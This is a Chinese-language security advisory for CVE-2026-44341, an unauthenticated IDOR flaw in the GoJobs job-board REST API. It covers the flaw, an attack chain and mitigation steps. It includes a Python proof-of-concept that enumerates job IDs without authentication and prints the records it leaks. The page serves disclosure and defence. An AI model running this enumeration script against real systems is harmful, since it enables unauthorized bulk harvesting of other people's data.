IPBUF安全漏洞报告
English
CVE-2026-44341 CVSS 5.3 中危

CVE-2026-44341 GoJobs未授权访问漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-44341
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GoJobs

相关标签

IDOR未授权访问GoJobsAPI安全信息泄露CVE-2026-44341

漏洞概述

GoJobs 是一个用于招聘板平台的 REST API 应用程序。该应用程序的作业检索端点存在严重的安全缺陷,允许未经身份验证的用户通过直接操作对象标识符(ID)来访问作业详细信息。由于该端点未能实施适当的身份验证和授权检查,导致攻击者能够在无需登录的情况下,未经授权地获取系统内的敏感作业数据。

技术细节

该漏洞属于典型的不安全的直接对象引用(IDOR)漏洞。在 GoJobs 的 REST API 架构中,负责检索作业详情的端点(例如 `/api/v1/jobs/{job_id}`)在设计上存在缺陷。当客户端发送请求时,服务器端仅依据 URL 路径或参数中的 `{job_id}` 直接查询数据库并返回结果,整个过程未对请求者的身份进行验证(Authentication),也未验证该身份是否具备访问该特定作业对象的权限(Authorization)。

攻击者利用这一缺陷,无需任何凭证即可构造 HTTP GET 请求。通过简单的序列号枚举(如 1001, 1002)或随机 ID 猜测,攻击者可以遍历系统中的所有作业记录。由于 CVSS 向量显示无需用户交互(UI:N)且攻击复杂度低(AC:L),攻击者可以编写自动化脚本批量下载数据。这种漏洞的根源在于服务器端完全信任客户端提供的对象引用,缺乏访问控制列表(ACL)或基于角色的访问控制(RBAC)的约束,从而导致敏感数据的机密性(C:L)泄露。

攻击链分析

STEP 1
信息收集
攻击者确定目标系统使用 GoJobs 平台,并发现了用于获取作业详情的 API 端点路径。
STEP 2
漏洞利用
攻击者编写脚本,向该端点发送大量包含不同对象 ID 的 HTTP GET 请求,且在请求头中不携带任何认证信息。
STEP 3
数据获取
服务器因未校验权限,直接返回了对应 ID 的作业详细信息。攻击者收集这些数据,实现了对敏感信息的未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_idor(base_url, start_id=1, end_id=100): """ PoC for CVE-2026-44341: IDOR in GoJobs API. Iterates through job IDs to check for unauthorized access. """ print(f"[*] Scanning {base_url} for IDOR vulnerability...") for job_id in range(start_id, end_id + 1): target_url = f"{base_url.rstrip('/')}/{job_id}" try: # Send GET request without authentication headers response = requests.get(target_url, timeout=5) if response.status_code == 200: print(f"[+] Success! Job ID {job_id} leaked:") print(response.json()) elif response.status_code == 401: print(f"[-] Job ID {job_id} is protected.") elif response.status_code == 404: pass # ID might not exist, skip verbose logging else: print(f"[!] Unexpected status code {response.status_code} for ID {job_id}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint target_api = "http://localhost:8080/api/jobs" exploit_idor(target_api)

影响范围

GoJobs

防御指南

临时缓解措施
建议立即在网络边界(如 WAF 或 API 网关)对该接口实施 IP 访问控制,仅允许受信任的源地址调用。如果业务允许,在修复补丁发布前,暂时关闭受影响的作业检索端点以防止数据泄露。

参考链接